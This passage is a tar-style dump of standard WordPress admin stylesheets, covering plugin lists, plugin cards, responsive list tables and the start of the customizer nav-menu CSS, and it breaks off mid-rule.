label{display:inline-block;margin:0;padding:3px 0;line-height:20px;vertical-align:top}#bulk-titles .ntdelitem{padding-right:23px}#bulk-titles .ntdelbutton{width:26px;height:26px;margin:0 -26px 0 0;text-align:center;border-radius:3px}#bulk-titles .ntdelbutton:before{display:inline-block;vertical-align:top}#bulk-titles .ntdelbutton:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent;outline-offset:0}.plugins tbody,.plugins tbody th.check-column{padding:8px 2px 0 0}.plugins tbody th.check-column input[type=checkbox]{margin-top:4px}.updates-table .plugin-title p{margin-top:0}.plugins .inactive th.check-column,.plugins tfoot td.check-column,.plugins thead td.check-column{padding-right:6px}.plugins,.plugins td,.plugins th{color:#000}.plugins tr{background:#fff}.plugins p{margin:0 4px;padding:0}.plugins .desc p{margin:0 0 8px}.plugins td.desc{line-height:1.5}.plugins .desc ol,.plugins .desc ul{margin:0 2em 0 0}.plugins .desc ul{list-style-type:disc}.plugins .row-actions{font-size:13px;padding:0}.plugins .active td,.plugins .active th,.plugins .inactive td,.plugins .inactive th{padding:10px 9px}.plugins .active td,.plugins .active th{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.plugins .update td,.plugins .update th{border-bottom:0}.plugin-install #the-list td,.plugins .active td,.plugins .active th,.plugins .inactive td,.plugins .inactive th,.upgrade .plugins td,.upgrade .plugins th{box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.plugins tr.active+tr.inactive td,.plugins tr.active+tr.inactive th,.plugins tr.active.plugin-update-tr+tr.inactive td,.plugins tr.active.plugin-update-tr+tr.inactive th{border-top:1px solid rgba(0,0,0,.03);box-shadow:inset 0 1px 0 rgba(0,0,0,.02),inset 0 -1px 0 #dcdcde}.plugins .update td,.plugins .update th,.plugins .updated td,.plugins .updated th,.plugins tr.active+tr.inactive.update td,.plugins tr.active+tr.inactive.update th,.plugins tr.active+tr.inactive.updated td,.plugins tr.active+tr.inactive.updated th,.upgrade .plugins tr:last-of-type td,.upgrade .plugins tr:last-of-type th{box-shadow:none}.plugin-update-tr.active td,.plugins .active th.check-column{border-right:4px solid var(--wp-admin-theme-color)}.wp-list-table.plugins .plugin-title,.wp-list-table.plugins .theme-title{padding-left:12px;white-space:nowrap}.plugins .plugin-title .dashicons,.plugins .plugin-title img.plugin-icon,.plugins .plugin-title img.updates-table-screenshot{float:right;padding:0 0 0 10px;width:64px;height:64px}.plugins .plugin-title .dashicons:before{padding:2px;background-color:#f0f0f1;box-shadow:inset 0 0 10px rgba(167,170,173,.15);font-size:60px;color:#c3c4c7}#update-themes-table .plugin-title .dashicons,#update-themes-table .plugin-title img.updates-table-screenshot{width:85px}.plugins .column-auto-updates{width:14.2em}.plugins .inactive .plugin-title strong{font-weight:400}.plugins .row-actions,.plugins .second{padding:0 0 5px}.plugins .row-actions{white-space:normal;min-width:12em}.plugins .update .row-actions,.plugins .update .second,.plugins .updated .row-actions,.plugins .updated .second{padding-bottom:0}.plugins-php .widefat tfoot td,.plugins-php .widefat tfoot th{border-top-style:solid;border-top-width:1px}.plugins .plugin-update-tr .plugin-update{box-shadow:inset 0 -1px 0 rgba(0,0,0,.1);overflow:hidden;padding:0}.plugins .plugin-update-tr .notice,.plugins .plugin-update-tr div[class=update-message]{margin:5px 40px 15px 20px}.plugins .notice p{margin:.5em 0}.plugins .plugin-description a,.plugins .plugin-update a,.updates-table .plugin-title a{text-decoration:underline}.plugins tr.paused th.check-column{border-right:4px solid #b32d2e}.plugins tr.paused td,.plugins tr.paused th{background-color:#f6f7f7}.plugins .paused .dashicons-warning,.plugins tr.paused .plugin-title{color:#b32d2e}.plugins .paused .error-display code,.plugins .paused .error-display p{font-size:90%;color:rgba(0,0,0,.7)}.plugins .resume-link{color:#b32d2e}.plugin-card .update-now:before{color:#d63638;content:"\f463";content:"\f463"/'';display:inline-block;font:normal 16px/1.875 dashicons;margin:0 -2px 0 5px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;vertical-align:top}.plugin-card .updating-message:before{content:"\f463";content:"\f463"/'';animation:rotation 2s infinite linear}@keyframes rotation{0%{transform:rotate(0)}100%{transform:rotate(-359deg)}}.plugin-card .updated-message:before{color:#68de7c;content:"\f147";content:"\f147"/''}.plugin-card .updated-message:before,.plugin-card .updating-message:before{line-height:1;position:relative;top:-2px;vertical-align:middle}.plugin-install-php #the-list{display:flex;flex-wrap:wrap}.plugin-install-php .plugin-card{display:flex;flex-direction:column;justify-content:space-between}.plugin-install-php h2{clear:both}.plugin-install-php h3{margin:2.5em 0 8px}.plugin-install-php .wp-filter{margin-bottom:0}.plugin-group{overflow:hidden;margin-top:1.5em}.plugin-group h3{margin-top:0}.plugin-card{float:right;margin:0 8px 16px;width:48.5%;width:calc(50% - 8px);background-color:#fff;border:1px solid rgb(0,0,0,.1);border-radius:8px;box-sizing:border-box;overflow:hidden}.plugin-card:nth-child(odd){clear:both;margin-right:0}.plugin-card:nth-child(2n){margin-left:0}@media screen and (min-width:1600px) and (max-width:2299px){.plugin-card{width:30%;width:calc(33.1% - 8px)}.plugin-card:nth-child(odd){clear:none;margin-right:8px}.plugin-card:nth-child(2n){margin-left:8px}.plugin-card:nth-child(3n+1){clear:both;margin-right:0}.plugin-card:nth-child(3n){margin-left:0}}@media screen and (min-width:2300px){.plugin-card{width:25%;width:calc(25% - 12px)}.plugin-card:nth-child(odd){clear:none;margin-right:8px}.plugin-card:nth-child(2n){margin-left:8px}.plugin-card:nth-child(4n+1){clear:both;margin-right:0}.plugin-card:nth-child(4n){margin-left:0}}.plugin-card-top{position:relative;padding:16px;min-height:135px}.plugin-action-buttons,div.action-links{margin:0}.plugin-card h3{margin:0 0 16px 12px;font-size:18px;line-height:1.3}.plugin-card .desc{margin-inline:0}.plugin-card .desc>p,.plugin-card .name{margin-right:148px}@media (min-width:1101px){.plugin-card .desc>p,.plugin-card .name{margin-left:128px}}@media (min-width:481px) and (max-width:781px){.plugin-card .desc>p,.plugin-card .name{margin-left:128px}}.plugin-card .column-description{display:flex;flex-direction:column;justify-content:flex-start}.plugin-card .column-description>p{margin-top:0}.plugin-card .column-description p:empty{display:none}.plugin-card .notice.plugin-dependencies{margin:auto 20px 20px;padding:15px}.plugin-card .plugin-dependencies-explainer-text{margin-block:0}.plugin-card .plugin-dependency{align-items:center;display:flex;flex-wrap:wrap;margin-top:.5em;column-gap:1%;row-gap:.5em}.plugin-card .plugin-dependency:last-child,.plugin-card .plugin-dependency:nth-child(2){margin-top:1em}.plugin-card .plugin-dependency-name{flex-basis:74%}.plugin-card .plugin-dependency .more-details-link{margin-right:auto}.rtl .plugin-card .plugin-dependency .more-details-link{margin-left:auto}@media (max-width:939px){.plugin-card .plugin-dependency-name{flex-basis:69%}}.plugins #the-list .required-by,.plugins #the-list .requires{margin-top:1em}.plugin-card .action-links{position:absolute;top:20px;left:20px;width:120px}.plugin-action-buttons{clear:left;float:left;margin-bottom:1em;text-align:left}.plugin-action-buttons li{margin-bottom:10px}.plugin-card-bottom{clear:both;padding:16px;background-color:#f6f7f7;border-top:1px solid rgb(0,0,0,.1);overflow:hidden}.plugin-card-bottom .star-rating{display:inline}.plugin-card-update-failed .update-now{font-weight:600}.plugin-card-update-failed .notice-error{margin:0;padding-right:16px;box-shadow:0 -1px 0 #dcdcde}.plugin-card-update-failed .plugin-card-bottom{display:none}.plugin-card .column-rating{line-height:1.76923076}.plugin-card .column-rating,.plugin-card .column-updated{margin-bottom:4px}.plugin-card .column-downloaded,.plugin-card .column-rating{float:right;clear:right;max-width:180px}.plugin-card .column-compatibility,.plugin-card .column-updated{text-align:left;float:left;clear:left;width:65%;width:calc(100% - 180px)}.plugin-card .column-compatibility span:before{font:normal 20px/.5 dashicons;display:inline-block;padding:0;top:4px;right:-2px;position:relative;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;color:#3c434a}.plugin-card .column-compatibility .compatibility-incompatible:before{content:"\f158";content:"\f158"/'';color:#d63638}.plugin-card .column-compatibility .compatibility-compatible:before{content:"\f147";content:"\f147"/'';color:#007017}.plugin-card .notice{margin:20px 20px 0}.plugin-card .plugin-icon{position:absolute;top:20px;right:20px;width:128px;height:128px;margin:0 0 20px 20px}.no-plugin-results{color:#646970;font-size:18px;font-style:normal;margin:0;padding:100px 0 0;width:100%;text-align:center}.wp-list-table .site-archived,.wp-list-table .site-deleted,.wp-list-table tr.site-archived,.wp-list-table tr.site-deleted{background:#fcf0f1}.wp-list-table .site-mature,.wp-list-table .site-spammed,.wp-list-table tr.site-mature,.wp-list-table tr.site-spammed{background:#fcf9e8}.sites.fixed .column-lastupdated,.sites.fixed .column-registered{width:20%}.sites.fixed .column-users{width:80px}@media screen and (max-width:1100px) and (min-width:782px),(max-width:480px){.plugin-card .action-links{position:static;margin-right:148px;width:auto}.plugin-action-buttons{float:none;margin:1em 0 0;text-align:right}.plugin-action-buttons li{display:inline-block;vertical-align:middle}.plugin-action-buttons li .button{margin-left:20px}.plugin-card h3{margin-left:24px}.plugin-card .desc,.plugin-card .name{margin-left:0}.plugin-card .desc p:first-of-type{margin-top:0}}@media screen and (max-width:782px){.tablenav{height:auto}.tablenav.top{margin:20px 0 5px}.tablenav.bottom{position:relative;margin-top:15px}.tablenav br{display:none}.tablenav br.clear{display:block}.tablenav .view-switch,.tablenav.top .actions{display:none}.view-switch a{width:36px;height:36px;line-height:2.53846153}.tablenav.top .displaying-num{display:none}.tablenav.bottom .displaying-num{position:absolute;left:0;top:11px;margin:0;font-size:14px}.tablenav .tablenav-pages{width:100%;text-align:center;margin:0 0 25px}.tablenav.bottom .tablenav-pages{margin-top:25px}.tablenav.top .tablenav-pages.one-page{display:none}.tablenav.bottom .actions select{margin-bottom:5px}.tablenav.bottom .actions.alignleft+.actions.alignleft{clear:right;margin-top:10px}.tablenav.bottom .tablenav-pages.one-page{margin-top:15px;height:0}.tablenav-pages .pagination-links{font-size:16px}.tablenav .tablenav-pages .button,.tablenav .tablenav-pages .tablenav-pages-navspan{min-width:40px;min-height:40px;padding:10px 8px;font-size:18px;line-height:1}.tablenav-pages .pagination-links .current-page{min-width:40px;padding:10px 6px;font-size:16px;line-height:1.125}.form-wrap>p{display:none}.wp-list-table th.column-primary~th,.wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary~td:not(.check-column){display:none}.wp-list-table thead th.column-primary{width:100%}.wp-list-table tr th.check-column{display:table-cell}.wp-list-table .check-column{width:2.5em}.wp-list-table .column-primary .toggle-row{display:block}.wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.check-column){position:relative;clear:both;width:auto!important}.wp-list-table td.column-primary{padding-left:50px}.wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary~td:not(.check-column){padding:3px 35% 3px 8px}.wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before{position:absolute;right:10px;display:block;overflow:hidden;width:32%;content:attr(data-colname);white-space:nowrap;text-overflow:ellipsis}.wp-list-table .is-expanded td:not(.hidden){display:block!important;overflow:hidden}.column-posts,.widefat .num{text-align:right}#comments-form .fixed .column-author,#commentsdiv .fixed .column-author{display:none!important}.fixed .column-comment .comment-author{display:block}.fixed .column-author.hidden~.column-comment .comment-author{display:none}#the-comment-list .is-expanded td{box-shadow:none}#the-comment-list .is-expanded td:last-child{box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.post-com-count .screen-reader-text{position:static;clip-path:none;width:auto;height:auto;margin:0}.column-comments .post-com-count-approved:after,.column-comments .post-com-count-no-comments:after,.column-response .post-com-count-approved:after,.column-response .post-com-count-no-comments:after{content:none}.column-comments .post-com-count [aria-hidden=true],.column-response .post-com-count [aria-hidden=true]{display:none}.column-comments .post-com-count-wrapper,.column-response .post-com-count-wrapper{white-space:normal}.column-comments .post-com-count-wrapper>a,.column-response .post-com-count-wrapper>a{display:block}.column-comments .post-com-count-approved,.column-comments .post-com-count-no-comments,.column-response .post-com-count-approved,.column-response .post-com-count-no-comments{margin-top:0;margin-left:.5em}.column-comments .post-com-count-pending,.column-response .post-com-count-pending{position:static;height:auto;min-width:0;padding:0;border:none;border-radius:0;background:0 0;color:#b32d2e;font-size:inherit;line-height:inherit;text-align:right}.column-comments .post-com-count-pending:hover,.column-response .post-com-count-pending:hover{color:#d63638}.widefat tfoot td.check-column,.widefat thead td.check-column{padding-top:10px}.row-actions{margin-left:-8px;padding-top:4px}body:not(.plugins-php) .row-actions{display:flex;flex-wrap:wrap;gap:8px;color:transparent}.row-actions span{font-size:0}.row-actions span .button-link,.row-actions span a{display:inline-block;padding:4px 0 4px 16px;font-size:13px;line-height:1.5}.row-actions span.approve:before,.row-actions span.unapprove:before{content:"| "}#wpbody-content .bulk-edit-row .inline-edit-col-bottom,#wpbody-content .bulk-edit-row .inline-edit-col-left,#wpbody-content .bulk-edit-row-page .inline-edit-col-right,#wpbody-content .bulk-edit-row-post .inline-edit-col-right,#wpbody-content .inline-edit-row-post .inline-edit-col-center,#wpbody-content .quick-edit-row-page .inline-edit-col-left,#wpbody-content .quick-edit-row-page .inline-edit-col-right,#wpbody-content .quick-edit-row-post .inline-edit-col-left,#wpbody-content .quick-edit-row-post .inline-edit-col-right{float:none;width:100%;padding:0}#the-list .inline-edit-row .inline-edit-legend,.inline-edit-row span.title{font-size:16px}.inline-edit-row p.howto{font-size:14px}#wpbody-content .inline-edit-row-page .inline-edit-col-right{margin-top:0}#wpbody-content .bulk-edit-row fieldset .inline-edit-col label,#wpbody-content .bulk-edit-row fieldset .inline-edit-group label,#wpbody-content .quick-edit-row fieldset .inline-edit-col label,#wpbody-content .quick-edit-row fieldset .inline-edit-group label{max-width:none;float:none;margin-bottom:5px}#wpbody .bulk-edit-row fieldset select{display:block;width:100%;max-width:none;box-sizing:border-box}.inline-edit-row input:where(:not([type=checkbox],[type=radio],[type=submit],[type=button])),.inline-edit-row select{min-height:40px}.inline-edit-row fieldset input[name=aa],.inline-edit-row fieldset input[name=hh],.inline-edit-row fieldset input[name=jj],.inline-edit-row fieldset input[name=mn]{font-size:16px;line-height:2;padding:3px 4px}#bulk-titles .ntdelbutton,#bulk-titles .ntdeltitle,.inline-edit-row fieldset ul.cat-checklist label{padding:6px 0;font-size:16px;line-height:28px}#bulk-titles .ntdelitem{padding-right:37px}#bulk-titles .ntdelbutton{width:40px;height:40px;margin:0 -40px 0 0;overflow:hidden}#bulk-titles .ntdelbutton:before{font-size:20px;line-height:28px}.inline-edit-row fieldset label span.title,.inline-edit-row fieldset.inline-edit-date legend{float:none}.inline-edit-row fieldset .inline-edit-col label.inline-edit-tags{padding:0}.inline-edit-row fieldset .timestamp-wrap,.inline-edit-row fieldset label span.input-text-wrap{margin-right:0}.inline-edit-row .inline-edit-or{margin:0 0 0 6px}#commentsdiv #edithead .inside,#edithead .inside{float:none;text-align:right;padding:3px 5px}#commentsdiv #edithead .inside input,#edithead .inside input{width:100%}#edithead label{display:block}#wpbody-content .updates-table .plugin-title{width:auto;white-space:normal}.link-manager-php #posts-filter{margin-top:25px}.link-manager-php .tablenav.bottom{overflow:hidden}.comments-box .toggle-row,.wp-list-table.plugins .toggle-row{display:none}#wpbody-content .wp-list-table.plugins td{display:block;width:auto;padding:10px 9px}#wpbody-content .wp-list-table.plugins .no-items td,#wpbody-content .wp-list-table.plugins .plugin-deleted-tr td{display:table-cell}#wpbody-content .wp-list-table.plugins .desc.hidden{display:none}#wpbody-content .wp-list-table.plugins .column-description{padding-top:2px}#wpbody-content .wp-list-table.plugins .plugin-title,#wpbody-content .wp-list-table.plugins .theme-title{padding-left:12px;white-space:normal}.wp-list-table.plugins .plugin-title,.wp-list-table.plugins .theme-title{padding-top:13px;padding-bottom:4px}.plugins #the-list .update td,.plugins #the-list .update th,.plugins #the-list tr>td:not(:last-child),.wp-list-table.plugins #the-list .theme-title{box-shadow:none;border-top:none}.plugins #the-list tr td{border-top:none}.plugins tbody{padding:1px 0 0}.plugins .plugin-update-tr:before,.plugins tr.active+tr.inactive td.column-description,.plugins tr.active+tr.inactive th.check-column{box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.plugins tr.active+tr.inactive td,.plugins tr.active+tr.inactive th.check-column{border-top:none}.plugins .plugin-update-tr:before{content:"";display:table-cell}.plugins #the-list .plugin-update-tr .plugin-update{border-right:none}.plugin-update-tr .update-message{margin-right:0}.plugins .active.update+.plugin-update-tr:before,.plugins .active.updated+.plugin-update-tr:before{background-color:rgba(var(--wp-admin-theme-color--rgb),.08);border-right:4px solid var(--wp-admin-theme-color)}.plugins .plugin-update-tr .update-message{margin-right:0}.wp-list-table.plugins .plugin-title strong,.wp-list-table.plugins .theme-title strong{font-size:1.4em;line-height:1.5}.plugins tbody th.check-column{padding:8px 5px 0 0}.plugins .inactive th.check-column,.plugins tfoot td.check-column,.plugins thead td.check-column{padding-right:9px}table.plugin-install .column-description,table.plugin-install .column-name,table.plugin-install .column-rating,table.plugin-install .column-version{display:block;width:auto}table.plugin-install th.column-description,table.plugin-install th.column-name,table.plugin-install th.column-rating,table.plugin-install th.column-version{display:none}table.plugin-install td.column-name strong{font-size:1.4em;line-height:1.6em}table.plugin-install #the-list td{box-shadow:none}table.plugin-install #the-list tr{display:block;box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}.plugin-card{margin-right:0;margin-left:0;width:100%}table.media .column-title .has-media-icon~.row-actions{margin-right:0;clear:both}}@media screen and (max-width:480px){.tablenav-pages .current-page{margin:0}.tablenav.bottom .displaying-num{position:relative;top:0;display:block;text-align:left;padding-bottom:.5em}.tablenav.bottom .tablenav-pages.one-page{height:auto}.tablenav-pages .tablenav-paging-text{float:right;width:100%;padding-top:.5em}} css/customize-nav-menus.css 0000644 00000054130 15233246127 0012007 0 ustar 00 #customize-theme-controls #accordion-section-menu_locations { position: relative; margin-top: 30px; } #customize-theme-controls #accordion-section-menu_locations > .accordion-section-title { border-bottom-color: #dcdcde; margin-top: 15px; } #customize-theme-controls .customize-section-title-nav_menus-heading, #customize-theme-controls .customize-section-title-menu_locations-heading, #customize-theme-controls .customize-section-title-menu_locations-description { padding: 0 12px; } #customize-theme-controls .customize-control-description.customize-section-title-menu_locations-description { /* Override the default italic style for control descriptions */ font-style: normal; } .menu-in-location, .menu-in-locations { display: block; font-weight: 600; font-size: 10px; } #customize-controls .theme-location-set, #customize-controls .control-section .accordion-section-title:focus .menu-in-location, #customize-controls .control-section .accordion-section-title:hover .menu-in-location { color: #50575e; } /* The `edit-menu` and `create-menu` buttons also use the `button-link` class. */ .customize-control-nav_menu_location .edit-menu, .customize-control-nav_menu_location .create-menu { margin-left: 6px; vertical-align: middle; line-height: 2.2; } #customize-controls .customize-control-nav_menu_name { margin-bottom: 12px; } .customize-control-nav_menu_name p:last-of-type { margin-bottom: 0; } #customize-new-menu-submit { float: right; min-width: 85px; } .wp-customizer .menu-item-bar .menu-item-handle, .wp-customizer .menu-item-settings, .wp-customizer .menu-item-settings .description-thin { box-sizing: border-box; } .wp-customizer .menu-item-bar { margin: 0; } .wp-customizer .menu-item-bar .menu-item-handle { width: 100%; max-width: 100%; background: #fff; } .wp-customizer .menu-item-handle .item-title { margin-right: 0; } .wp-customizer .menu-item-handle .item-type { padding: 1px 21px 0 5px; float: right; text-align: right; } .wp-customizer .menu-item-handle:hover { z-index: 8; } .customize-control-nav_menu_item.has-notifications .menu-item-handle { border-left: 4px solid #72aee6; } .wp-customizer .menu-item-settings { max-width: 100%; overflow: hidden; z-index: 8; padding: 10px; background: #f0f0f1; border: 1px solid #8c8f94; border-top: none; } .wp-customizer .menu-item-settings .description-thin { width: 100%; height: auto; margin: 0 0 8px; } .wp-customizer .menu-item-settings input[type="text"] { width: 100%; } .wp-customizer .menu-item-settings .submitbox { margin: 0; padding: 0; } .wp-customizer .menu-item-settings .link-to-original { padding: 5px 0; border: none; font-style: normal; margin: 0; width: 100%; } .wp-customizer .menu-item .submitbox .submitdelete { float: left; margin: 6px 0 0; padding: 0; cursor: pointer; } /** * Menu items reordering styles */ .menu-item-reorder-nav { display: none; background-color: #fff; position: absolute; top: 0; right: 0; } .menus-move-left:before { content: "\f341"; content: "\f341" / ''; } .menus-move-right:before { content: "\f345"; content: "\f345" / ''; } .reordering .menu-item .item-controls, .reordering .menu-item .item-type { display: none; } .reordering .menu-item-reorder-nav { display: block; } .customize-control input.menu-name-field { width: 100%; /* Override the 98% default for customizer inputs, to align with the size of menu items. */ } .wp-customizer .menu-item .item-edit { position: absolute; right: -19px; top: 2px; display: block; width: 30px; height: 38px; margin-right: 0 !important; box-shadow: none; outline: none; overflow: hidden; cursor: pointer; text-align: center; } .wp-customizer .menu-item.menu-item-edit-active .item-edit .toggle-indicator:before { content: "\f142"; content: "\f142" / ''; } .wp-customizer .menu-item-settings p.description { font-style: normal; } .wp-customizer .menu-settings dl { margin: 12px 0 0; padding: 0; } .wp-customizer .menu-settings .checkbox-input { margin-top: 8px; } .wp-customizer .menu-settings .menu-theme-locations { border-top: 1px solid #c3c4c7; } .wp-customizer .menu-settings { margin-top: 36px; border-top: none; } .wp-customizer .menu-location-settings { margin-top: 12px; border-top: none; } .wp-customizer .control-section-nav_menu .menu-location-settings { margin-top: 24px; border-top: 1px solid #dcdcde; } .wp-customizer .control-section-nav_menu .menu-location-settings, .customize-control-nav_menu_auto_add { padding-top: 12px; } .menu-location-settings .customize-control-checkbox .theme-location-set { line-height: 1; } .customize-control-nav_menu_auto_add label { vertical-align: top; } .menu-location-settings .new-menu-locations-widget-note { display: block; } .customize-control-menu { margin-top: 4px; } #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle { color: #50575e; } /* Screen Options */ .customize-screen-options-toggle { background: none; border: none; color: #50575e; cursor: pointer; margin: 0; padding: 20px; position: absolute; right: 0; top: 30px; } #customize-controls .customize-info .customize-help-toggle { padding: 20px; } #customize-controls .customize-info .customize-help-toggle:before { padding: 4px; } .customize-screen-options-toggle:hover, .customize-screen-options-toggle:active, .customize-screen-options-toggle:focus, .active-menu-screen-options .customize-screen-options-toggle, #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover, #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active, #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus { color: var(--wp-admin-theme-color); } .customize-screen-options-toggle:focus, #customize-controls .customize-info .customize-help-toggle:focus { /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .customize-screen-options-toggle:before { -moz-osx-font-smoothing: grayscale; border: none; content: "\f111"; content: "\f111" / ''; display: block; font: 18px/1 dashicons; padding: 5px; text-align: center; text-decoration: none !important; text-indent: 0; left: 6px; position: absolute; top: 6px; } .customize-screen-options-toggle:focus:before, #customize-controls .customize-info .customize-help-toggle:focus:before { border-radius: 100%; } .wp-customizer #screen-options-wrap { display: none; background: #fff; border-top: 1px solid #dcdcde; padding: 4px 15px 15px; } .wp-customizer .metabox-prefs label { display: block; padding-right: 0; line-height: 30px; } /* rework the arrow indicator implementation for NVDA bug same as #32715 */ .wp-customizer .toggle-indicator { display: inline-block; font-size: 20px; line-height: 1; } .rtl .wp-customizer .toggle-indicator { text-indent: 1px; /* account for the dashicon alignment */ } .wp-customizer .menu-item .item-edit .toggle-indicator:before, #available-menu-items .accordion-section-title .toggle-indicator:before { content: "\f140"; content: "\f140" / ''; display: block; padding: 1px 2px 1px 0; border-radius: 50%; color: #787c82; font: normal 20px/1 dashicons; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-decoration: none !important; } .control-section-nav_menu .field-link-target, .control-section-nav_menu .field-title-attribute, .control-section-nav_menu .field-css-classes, .control-section-nav_menu .field-xfn, .control-section-nav_menu .field-description { display: none; } .control-section-nav_menu.field-link-target-active .field-link-target, .control-section-nav_menu.field-title-attribute-active .field-title-attribute, .control-section-nav_menu.field-css-classes-active .field-css-classes, .control-section-nav_menu.field-xfn-active .field-xfn, .control-section-nav_menu.field-description-active .field-description { display: block; } /* WARNING: The 20px factor is hard-coded in JS. */ .menu-item-depth-0 { margin-left: 0; } .menu-item-depth-1 { margin-left: 20px; } .menu-item-depth-2 { margin-left: 40px; } .menu-item-depth-3 { margin-left: 60px; } .menu-item-depth-4 { margin-left: 80px; } .menu-item-depth-5 { margin-left: 100px; } .menu-item-depth-6 { margin-left: 120px; } .menu-item-depth-7 { margin-left: 140px; } .menu-item-depth-8 { margin-left: 160px; } /* Not likely to be used or useful beyond this depth */ .menu-item-depth-9 { margin-left: 180px; } .menu-item-depth-10 { margin-left: 200px; } .menu-item-depth-11 { margin-left: 220px; } /* @todo handle .menu-item-settings width */ .menu-item-depth-0 > .menu-item-bar { margin-right: 0; } .menu-item-depth-1 > .menu-item-bar { margin-right: 20px; } .menu-item-depth-2 > .menu-item-bar { margin-right: 40px; } .menu-item-depth-3 > .menu-item-bar { margin-right: 60px; } .menu-item-depth-4 > .menu-item-bar { margin-right: 80px; } .menu-item-depth-5 > .menu-item-bar { margin-right: 100px; } .menu-item-depth-6 > .menu-item-bar { margin-right: 120px; } .menu-item-depth-7 > .menu-item-bar { margin-right: 140px; } .menu-item-depth-8 > .menu-item-bar { margin-right: 160px; } .menu-item-depth-9 > .menu-item-bar { margin-right: 180px; } .menu-item-depth-10 > .menu-item-bar { margin-right: 200px; } .menu-item-depth-11 > .menu-item-bar { margin-right: 220px; } /* Submenu left margin. */ .menu-item-depth-0 .menu-item-transport { margin-left: 0; } .menu-item-depth-1 .menu-item-transport { margin-left: -20px; } .menu-item-depth-3 .menu-item-transport { margin-left: -60px; } .menu-item-depth-4 .menu-item-transport { margin-left: -80px; } .menu-item-depth-2 .menu-item-transport { margin-left: -40px; } .menu-item-depth-5 .menu-item-transport { margin-left: -100px; } .menu-item-depth-6 .menu-item-transport { margin-left: -120px; } .menu-item-depth-7 .menu-item-transport { margin-left: -140px; } .menu-item-depth-8 .menu-item-transport { margin-left: -160px; } .menu-item-depth-9 .menu-item-transport { margin-left: -180px; } .menu-item-depth-10 .menu-item-transport { margin-left: -200px; } .menu-item-depth-11 .menu-item-transport { margin-left: -220px; } /* WARNING: The 20px factor is hard-coded in JS. */ .reordering .menu-item-depth-0 { margin-left: 0; } .reordering .menu-item-depth-1 { margin-left: 15px; } .reordering .menu-item-depth-2 { margin-left: 30px; } .reordering .menu-item-depth-3 { margin-left: 45px; } .reordering .menu-item-depth-4 { margin-left: 60px; } .reordering .menu-item-depth-5 { margin-left: 75px; } .reordering .menu-item-depth-6 { margin-left: 90px; } .reordering .menu-item-depth-7 { margin-left: 105px; } .reordering .menu-item-depth-8 { margin-left: 120px; } /* Not likely to be used or useful beyond this depth */ .reordering .menu-item-depth-9 { margin-left: 135px; } .reordering .menu-item-depth-10 { margin-left: 150px; } .reordering .menu-item-depth-11 { margin-left: 165px; } .reordering .menu-item-depth-0 > .menu-item-bar { margin-right: 0; } .reordering .menu-item-depth-1 > .menu-item-bar { margin-right: 15px; } .reordering .menu-item-depth-2 > .menu-item-bar { margin-right: 30px; } .reordering .menu-item-depth-3 > .menu-item-bar { margin-right: 45px; } .reordering .menu-item-depth-4 > .menu-item-bar { margin-right: 60px; } .reordering .menu-item-depth-5 > .menu-item-bar { margin-right: 75px; } .reordering .menu-item-depth-6 > .menu-item-bar { margin-right: 90px; } .reordering .menu-item-depth-7 > .menu-item-bar { margin-right: 105px; } .reordering .menu-item-depth-8 > .menu-item-bar { margin-right: 120px; } .reordering .menu-item-depth-9 > .menu-item-bar { margin-right: 135px; } .reordering .menu-item-depth-10 > .menu-item-bar { margin-right: 150px; } .reordering .menu-item-depth-11 > .menu-item-bar { margin-right: 165px; } .control-section-nav_menu.menu .menu-item-edit-active { margin-left: 0; } .control-section-nav_menu.menu .menu-item-edit-active .menu-item-bar { margin-right: 0; } .control-section-nav_menu.menu .sortable-placeholder { margin-top: 0; margin-bottom: 1px; max-width: calc(100% - 2px); float: left; display: list-item; border-color: #a7aaad; } .menu-item-transport li.customize-control { float: none; } .control-section-nav_menu.menu ul.menu-item-transport .menu-item-bar { margin-top: 0; } /** * Add-menu-items mode */ .adding-menu-items .control-section { opacity: .4; } .adding-menu-items .control-panel.control-section, .adding-menu-items .control-section.open { opacity: 1; } .menu-item-bar .item-delete { color: #d63638; position: absolute; top: 2px; right: -19px; width: 30px; height: 38px; cursor: pointer; display: none; } .menu-item-bar .item-delete:before { content: "\f335"; content: "\f335" / ''; position: absolute; top: 9px; left: 5px; border-radius: 50%; font: normal 20px/1 dashicons; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .menu-item-bar .item-delete:hover, .menu-item-bar .item-delete:focus { box-shadow: none; outline: none; color: #d63638; } .adding-menu-items .menu-item-bar .item-edit { display: none; } .adding-menu-items .menu-item-bar .item-delete { display: block; } /** * Styles for menu-item addition panel */ #available-menu-items.opening { overflow-y: hidden; /* avoid scrollbar jitter with animating heights */ } #available-menu-items #available-menu-items-search.open { height: 100%; border-bottom: none; } #available-menu-items .accordion-section-title { border-left: none; border-right: none; background: #fff; transition: background-color 0.15s; /* Reset the value inherited from the base .accordion-section-title style. Ticket #37589. */ -webkit-user-select: auto; user-select: auto; } #available-menu-items .open .accordion-section-title, #available-menu-items #available-menu-items-search .accordion-section-title { background: #f0f0f1; } /* rework the arrow indicator implementation for NVDA bug see #32715 */ #available-menu-items .accordion-section-title:after { content: none !important; } #available-menu-items .accordion-section-title:hover .toggle-indicator:before, #available-menu-items .button-link:hover .toggle-indicator:before, #available-menu-items .button-link:focus .toggle-indicator:before { color: #1d2327; } #available-menu-items .open .accordion-section-title .toggle-indicator:before { content: "\f142"; color: #1d2327; } #available-menu-items .available-menu-items-list { 